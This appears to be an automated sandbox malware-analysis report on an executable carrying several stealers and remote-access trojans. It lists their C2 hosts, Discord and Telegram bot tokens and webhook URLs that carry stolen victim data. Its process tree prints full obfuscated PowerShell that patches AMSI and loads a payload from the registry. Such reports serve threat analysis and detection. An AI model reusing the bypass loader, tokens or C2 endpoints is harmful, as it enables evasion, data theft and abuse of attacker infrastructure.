Resubmissions
27/03/2026, 22:02
260327-1x8z8shx9r27/03/2026, 15:32
260327-sysewag15y1027/03/2026, 14:24
260327-rq7ddsat5r1026/03/2026, 21:13
260326-z2rfbabs5s1026/03/2026, 21:03
260326-zvz4waet7r1031/12/2024, 21:35
241231-1fmqnszqft1031/12/2024, 21:27
241231-1axzfssnek1016/12/2024, 05:52
241216-gk8zxsxkaz16/12/2024, 05:27
241216-f5kx6awmh11014/12/2024, 20:23
241214-y6jqlasrhy10Analysis
- max time kernel
300s - max time network
300s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
12/12/2024, 18:02
General
- Target New Text Document mod.exe
- Size 8KB
- Sample241212-wmml2askcs
- SHA256 2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2
Score
10/10
Malware Config
Extracted
Family
-
discordrat
Attributes
-
discord_token
MTMxNTQxMDg0NDg3NTQ4OTI4MA.Gx5ptK.HY1OYsjGMP1MsOoyD2E7T9pCvkfHTdOPozmb_c
-
server_id
1315411300192616569
Extracted
Family
-
xworm
Version
-
5.0
C2
-
127.0.0.1:8080
-
101.99.92.189:8080
Mutex
-
d5gQ6Zf7Tzih1Pi1
Attributes
-
install_file
USB.exe
aes.plain
Extracted
Family
-
44caliber
C2
-
https://discord.com/api/webhooks/1296494108667416678/ZASeLgYlw4OZSUv8h9jKQd4eY6ktpyF3T4vMXTNf0Ppbac5asKxIs_xZz8YEc__J4qsO
Extracted
Family
-
xworm
C2
-
127.0.0.1:58963
-
login-donor.gl.at.ply.gg:58963
Attributes
-
Install_directory
%AppData%
-
install_file
xdwd.exe
Extracted
Family
-
stealc
Botnet
-
Voov3
C2
-
http://154.216.17.90
Attributes
-
url_path
/a48146f6763ef3af.php
Extracted
Family
-
xworm
Version
-
3.1
C2
-
camp.zapto.org:7771
Attributes
-
Install_directory
%AppData%
-
install_file
USB.exe
Extracted
Family
-
stealc
Botnet
-
QQTalk2
C2
-
http://154.216.17.90
Attributes
-
url_path
/a48146f6763ef3af.php
Extracted
Family
-
gurcu
C2
-
https://api.telegram.org/bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775
-
https://api.telegram.org/bot8081835502:AAFtGgtMdAzFeWYBpQcGx83fjDR_25zfjK0/sendDocument?chat_id=7538374929&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan
-
https://api.telegram.org/bot7587476277:AAEN7p2yOtrq884E9izAnIDu8WeE8vTqRjY/sendMessag
-
https://api.telegram.org/bot6144496200:AAG-IIb4TPBPT1INBnZWa7iLZBVaG67I2mE/sendDocument?chat_id=-1001562112668&caption=%3Ccode%3E%0A-%20IP%20Info%20-%0A%0AIP:%20181.215.176.83%0ACountry:%20United%20Kingdom%0ACity:%20London%0APostal:%20SW1%0AISP:%20Cogent%20Communications%20-%20A174%0ATimezone:%20+00:00%0A%0A-%20PC%20Info%20-%0A%0AUsername:%20Admin%0AOS:%20Microsoft%20Windows%2010%20Pro%0ACPU:%20Intel%20Core%20Processor%20(Broadwell)%0AGPU:%20Microsoft%20Basic%20Display%20Adapter%20(1280,%20720)%0AHWID:%20Unknown%0ACurrent%20Language:%20English%20(United%20States)%0AFileLocation:%20C:\Users\Admin\AppData\Local\Temp\a\888.exe%0AIs%20Elevated:%20true%0A%0A-%20Other%20Info%20-%0A%0AAntivirus:%20Unknown%0A%0A-%20Log%20Info%20-%0A%0ABuild:_____%0A%0APasswords:%20%E2%9D%8C%0ACookies:%20%E2%9C%85%201%0AWallets:%20%E2%9D%8C%0AFiles:%20%E2%9C%85%206%0ACredit%20Cards:%20%E2%9D%8C%0AServers%20FTP/SSH:%20%E2%9D%8C%0ADiscord%20Tokens:%20%E2%9D%8C%0ATelegram:%20%E2%9D%8C%0A%0ATagged%20URLs:%20%E2%9D%8C%0ATagged%20Cookies:%20%E2%9D%8C%0A%0ATags%20Passwords:%20%0A%0ATags%20Cookies:%20%3C/code%3E&parse_mode=HTM
Extracted
Family
-
lumma
C2
-
https://infect-crackle.cyou/api
-
https://covery-mover.biz/api
-
https://drive-connect.cyou/api
Signatures
- 44Caliber
An open source infostealer written in C#.
- 44Caliber family
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Detect Umbral payload 2 IoCs
- Detect Xworm Payload 8 IoCs
- Discord RAT
A RAT written in C# using Discord as a C2.
- Discordrat family
- Gurcu family
- Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
- Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
- Lumma family
- Stealc
Stealc is an infostealer written in C++.
- Stealc family
- Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
- Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
- UAC bypass 3 TTPs 2 IoCs
- Umbral
Umbral stealer is an opensource moduler stealer written in C#.
- Umbral family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
- Adds policy Run key to start application 2 TTPs 4 IoCs
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs
Using powershell.exe command.
- Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
- Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 14 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 3 IoCs
- Executes dropped EXE 64 IoCs
- Identifies Wine through registry keys 2 TTPs 4 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
- Loads dropped DLL 25 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 8 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 13 IoCs
- Looks up external IP address via web service 8 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
- Drops file in System32 directory 17 IoCs
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
- Suspicious use of SetThreadContext 17 IoCs
- UPX packed file 13 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 21 IoCs
- Drops file in Windows directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 21 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Checks processor information in registry 2 TTPs 35 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 2 IoCs
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Enumerates system info in registry 2 TTPs 7 IoCs
- Gathers system information 1 TTPs 2 IoCs
Runs systeminfo.exe.
- GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Kills process with taskkill 1 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 1 IoCs
- Modifies registry key 1 TTPs 2 IoCs
- Runs .reg file with regedit 1 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 10 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 7 IoCs
- Suspicious use of SendNotifyMessage 3 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 9 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b67b61a4-c1d7-43c9-b09e-983c1c271dc8}2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of FindShellTrayWindow
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im conhost.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\system32\lsass.exe"C:\Windows\system32\lsass.exe"2⤵
- Drops file in System32 directory
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.1.10.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:sUgALBJuddPL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$IGdgGyUmBjfsmw,[Parameter(Position=1)][Type]$ontOmaiHFB)$yzlTtpZFAcy=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'ed'+[Char](68)+'e'+[Char](108)+'eg'+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+'M'+''+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType('MyD'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+'y'+[Char](112)+'e',''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'P'+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+''+'e'+''+'d'+','+'A'+''+[Char](110)+'siC'+'l'+''+[Char](97)+''+'s'+''+[Char](115)+','+'A'+''+[Char](117)+'t'+'o'+''+[Char](67)+'la'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$yzlTtpZFAcy.DefineConstructor(''+[Char](82)+'T'+'S'+''+'p'+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+'Sig'+','+''+[Char](80)+'ub'+'l'+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$IGdgGyUmBjfsmw).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+'t'+[Char](105)+'me'+[Char](44)+''+[Char](77)+''+'a'+''+'n'+'a'+[Char](103)+''+'e'+'d');$yzlTtpZFAcy.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+'e',''+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+''+','+''+'H'+''+[Char](105)+'d'+[Char](101)+'B'+[Char](121)+''+'S'+''+'i'+'g'+','+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t,'+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$ontOmaiHFB,$IGdgGyUmBjfsmw).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+'m'+'e'+','+[Char](77)+''+[Char](97)+'n'+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $yzlTtpZFAcy.CreateType();}$fNRgnEVXOxQnB=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'te'+'m'+''+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType('M'+'i'+'c'+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+'n'+''+'3'+'2'+'.'+'Un'+[Char](115)+''+'a'+'f'+'e'+'N'+'a'+''+'t'+'i'+[Char](118)+'e'+[Char](77)+'et'+[Char](104)+'o'+[Char](100)+'s');$lPAfvfzUHAVHue=$fNRgnEVXOxQnB.GetMethod('Ge'+[Char](116)+''+[Char](80)+''+'r'+'o'+[Char](99)+''+'A'+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$dkUdZUpgzdHignBPXhF=sUgALBJuddPL @([String])([IntPtr]);$VXYlvhhMRMvfYvsmmScHGK=sUgALBJuddPL @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LTjVZZybjPM=$fNRgnEVXOxQnB.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+'le'+[Char](72)+'a'+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+'2'+'.'+[Char](100)+''+[Char](108)+''+'l'+'')));$IopBYVcHjeMVGT=$lPAfvfzUHAVHue.Invoke($Null,@([Object]$LTjVZZybjPM,[Object]('L'+'o'+'a'+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$TmZcxpZXRGVjhoUXr=$lPAfvfzUHAVHue.Invoke($Null,@([Object]$LTjVZZybjPM,[Object]('Vi'+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+'r'+'o'+'t'+'e'+'ct')));$yjifdGV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IopBYVcHjeMVGT,$dkUdZUpgzdHignBPXhF).Invoke('a'+[Char](109)+'si'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$ceWPqOfkVGHGkWGRY=$lPAfvfzUHAVHue.Invoke($Null,@([Object]$yjifdGV,[Object]('Am'+[Char](115)+'i'+[Char](83)+''+'c'+''+'a'+'n'+'B'+''+[Char](117)+'ff'+'e'+''+'r'+'')));$mmTFvhlYfG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TmZcxpZXRGVjhoUXr,$VXYlvhhMRMvfYvsmmScHGK).Invoke($ceWPqOfkVGHGkWGRY,[uint32]8,4,[ref]$mmTFvhlYfG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ceWPqOfkVGHGkWGRY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TmZcxpZXRGVjhoUXr,$VXYlvhhMRMvfYvsmmScHGK).Invoke($ceWPqOfkVGHGkWGRY,[uint32]8,0x20,[ref]$mmTFvhlYfG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+[Char](84)+''+'W'+''+'A'+'R'+'E'+'').GetValue(''+'r'+'u'+[Char](116)+'s'+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:WvfjhlrrLQSq{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$iVrLBmUvkLLBVe,[Parameter(Position=1)][Type]$rIAteYmzUQ)$cESUfquAKZM=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+'c'+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+'l'+[Char](101)+'d,'+[Char](65)+''+'n'+'s'+[Char](105)+'C'+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$cESUfquAKZM.DefineConstructor('R'+'T'+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+'a'+'l'+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$iVrLBmUvkLLBVe).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'t'+'i'+'m'+[Char](101)+''+','+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');$cESUfquAKZM.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'ub'+[Char](108)+''+'i'+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+'S'+''+'i'+''+'g'+',N'+[Char](101)+''+[Char](119)+'S'+'l'+'o'+[Char](116)+''+[Char](44)+''+'V'+'i'+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$rIAteYmzUQ,$iVrLBmUvkLLBVe).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $cESUfquAKZM.CreateType();}$RadOuNuyghnRC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+'ll')}).GetType(''+'M'+'i'+[Char](99)+''+'r'+''+[Char](111)+''+'s'+''+'o'+''+[Char](102)+''+'t'+'.Wi'+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+'s'+[Char](97)+''+'f'+'e'+'N'+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$nKvApqmhPpQyVl=$RadOuNuyghnRC.GetMethod(''+'G'+'e'+'t'+''+[Char](80)+''+[Char](114)+'o'+[Char](99)+''+'A'+''+[Char](100)+''+'d'+''+[Char](114)+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+'b'+'li'+[Char](99)+','+[Char](83)+'t'+[Char](97)+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$FUalnmdqnqpqadiFZGV=WvfjhlrrLQSq @([String])([IntPtr]);$OvrtyiQOCOPQnrsSWEkKir=WvfjhlrrLQSq @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$wUfEroNSdFe=$RadOuNuyghnRC.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+'d'+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+''+'e'+'l'+'3'+''+[Char](50)+''+'.'+''+[Char](100)+''+'l'+''+'l'+'')));$wqRFNDuBhhYIqf=$nKvApqmhPpQyVl.Invoke($Null,@([Object]$wUfEroNSdFe,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+'L'+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+'r'+''+[Char](121)+''+[Char](65)+'')));$YOOGiFzmcxwFQtiSU=$nKvApqmhPpQyVl.Invoke($Null,@([Object]$wUfEroNSdFe,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+'e'+'c'+''+[Char](116)+'')));$eyaffzy=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wqRFNDuBhhYIqf,$FUalnmdqnqpqadiFZGV).Invoke(''+'a'+'ms'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$IOVJgGfTSaQfoEvgs=$nKvApqmhPpQyVl.Invoke($Null,@([Object]$eyaffzy,[Object]('A'+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+'u'+''+'f'+''+[Char](102)+'er')));$twUAddxAbi=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YOOGiFzmcxwFQtiSU,$OvrtyiQOCOPQnrsSWEkKir).Invoke($IOVJgGfTSaQfoEvgs,[uint32]8,4,[ref]$twUAddxAbi);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$IOVJgGfTSaQfoEvgs,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YOOGiFzmcxwFQtiSU,$OvrtyiQOCOPQnrsSWEkKir).Invoke($IOVJgGfTSaQfoEvgs,[uint32]8,0x20,[ref]$twUAddxAbi);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'r'+''+[Char](117)+''+[Char](116)+''+[Char](115)+''+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.1.10.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exe2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exeC:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe3⤵
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exeC:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe3⤵
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.1.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exe2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.1.10.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
